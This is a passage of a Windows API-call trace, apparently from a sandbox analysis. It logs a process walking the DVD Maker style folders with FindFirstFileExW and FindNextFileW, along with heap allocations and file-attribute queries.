lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0070.359] GetLastError () returned 0x12 [0070.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.359] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0070.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0070.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.360] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0070.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0070.371] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0070.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1f530 [0070.371] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1f530, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1f530, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0070.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1f530) returned 1 [0070.371] NtClose (Handle=0x170) returned 0x0 [0070.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.371] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0070.378] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.378] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0070.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ee28 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1ca28 [0070.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.378] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ee48 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1cb30 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ee68 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1cc38 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ee88 [0070.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1cd40 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1eea8 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1ce48 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1eec8 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1cf50 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1eee8 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d058 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.381] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ef08 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d160 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xf80) returned 0xa1f530 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.381] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ef28 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d268 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ef48 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d370 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ef68 [0070.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d478 [0070.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0070.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ef88 [0070.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1d580 [0070.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0070.383] GetLastError () returned 0x12 [0070.383] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0070.383] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0070.383] FindNextFileW 